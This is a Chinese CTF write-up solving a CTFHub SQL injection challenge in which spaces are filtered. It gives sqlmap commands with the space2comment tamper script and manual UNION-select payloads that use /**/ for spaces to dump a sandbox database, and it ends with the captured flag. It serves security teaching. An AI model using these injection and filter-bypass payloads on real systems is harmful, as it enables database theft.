CTFHub题解-技能树-Web(web工具配置-SQL注入)
过滤空格
1.知识点
(1)sqlmap的使用
可以参考笔者的这篇博客 ~
Sqlmap 工具用法详解
(2)绕过空格过滤的方法
/**/、()、%0a
2.题解
方法一:Sqlmap工具法
第一步 爆数据库
命令:
python sqlmap.py -u "http://challenge-427e4b69b55064d9.sandbox.ctfhub.com:10080/?id=1" --dbs --tamper "space2comment.py"
补充:
脚本名:
space2comment.py
作用:
Replaces space character ' ' with comments /**/
也就是用注释/**/替换空格字符' '
sqlmap 中的
tamper 脚本有很多,例如:
equaltolike.py (作用是用like代替等号)、
apostrophemask.py (作用是用utf8代替引号)、
greatest.py (作用是绕过过滤'>' ,用GREATEST替换大于号)等。
第二步 爆数据库表
命令:
python sqlmap.py -u "http://challenge-427e4b69b55064d9.sandbox.ctfhub.com:10080/?id=1" -D "sqli" --tables --tamper "space2comment.py"
第三步 爆数据库字段及内容
命令:
python sqlmap.py -u "http://challenge-427e4b69b55064d9.sandbox.ctfhub.com:10080/?id=1" -D "sqli" -T "dwthlcaucd" --dump --tamper "space2comment.py"
得到flag:
ctfhub{b852fd9c36317f9f97907bdc174b2f0c20ada2de}
方法二:手工注入
可以先分别输入 1 , 2 , 3 ,看看会返回什么~
输入1,返回了ctfhub;
输入2,返回了skill;
输入3,无数据返回。
我们试一下用单引号 ' ,发现没有回显
我们试一下
' or '1' ='1 发现回显Hacker!!!
说明系统应该是检索到了类似
or 、
and 等这种常用的关键字。
查阅资料,可知,绕过空格过滤的方式: /**/、()、%0a。
我们试一下用注释的方法~
第一步查数据库有哪些:
输入命令:
-1/**/union/**/select/**/database(),2
补充:这里利用了联合查询。此处的-1 相当于 id=-1 union select database(),2
第二步查表:
输入命令:
-1/**/union/**/select/**/group_concat(table_name),2/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'
补充:information_schema这张数据表保存了MySQL服务器所有数据库的信息。如数据库名,数据库的表等。Mysql的information_schema数据库包含了一些表和视图,提供了访问数据库元数据的方式。
第三步查字段:
输入命令:
-1/**/union/**/select/**/group_concat(column_name),2/**/from/**/information_schema.columns/**/where/**/table_name='dwthlcaucd'
补充:
SCHEMATA表:提供了关于数据库的信息。
TABLES表:给出了关于数据库中的表的信息。
COLUMNS表:给出了表中的列信息。
第四步查字段内容:
输入命令:
-1/**/union/**/select/**/ nadzurtjds,2/**/from/**/dwthlcaucd
得到flag:
ctfhub{b852fd9c36317f9f97907bdc174b2f0c20ada2de}

参考资料:
https://www.cnblogs.com/peterpan0707007/p/7501507.html
https://www.cnblogs.com/hfdp/p/5549384.html
https://blog.csdn.net/lxw826982262/article/details/97383167